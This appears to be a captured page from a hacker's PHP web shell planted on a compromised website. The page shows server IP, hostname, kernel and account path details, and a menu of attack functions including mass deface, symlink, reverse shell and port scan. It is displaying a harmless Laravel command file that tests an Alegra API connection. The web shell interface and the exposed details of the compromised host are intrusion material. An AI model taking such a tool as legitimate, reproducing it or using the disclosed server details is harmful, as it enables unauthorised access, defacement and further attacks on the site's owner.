Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
ventas
/
app
/
Console
/
Commands
/
Viewing: TestAlegraConnection.php
<?php namespace App\Console\Commands; use App\Http\Services\AlegraService; use Illuminate\Console\Command; class TestAlegraConnection extends Command { protected $signature = 'alegra:test'; protected $description = 'Test Alegra API connection'; public function handle() { $this->info('Probando conexión con Alegra API...'); try { $alegraService = new AlegraService(); $response = $alegraService->obtenerProductos(); if ($response['success']) { $this->info('✓ Conexión exitosa!'); $this->info('Productos encontrados: ' . count($response['data'])); // Mostrar algunos productos de ejemplo if (!empty($response['data'])) { $this->table( ['ID', 'Nombre', 'Referencia'], collect($response['data'])->take(5)->map(fn($item) => [ $item['id'], $item['name'], $item['reference'] ?? 'N/A' ]) ); } } else { $this->error('✗ Error de conexión: ' . ($response['error'] ?? 'Error desconocido')); } } catch (\Exception $e) { $this->error('✗ Error: ' . $e->getMessage()); } } }
Coded With 💗 by
0x6ick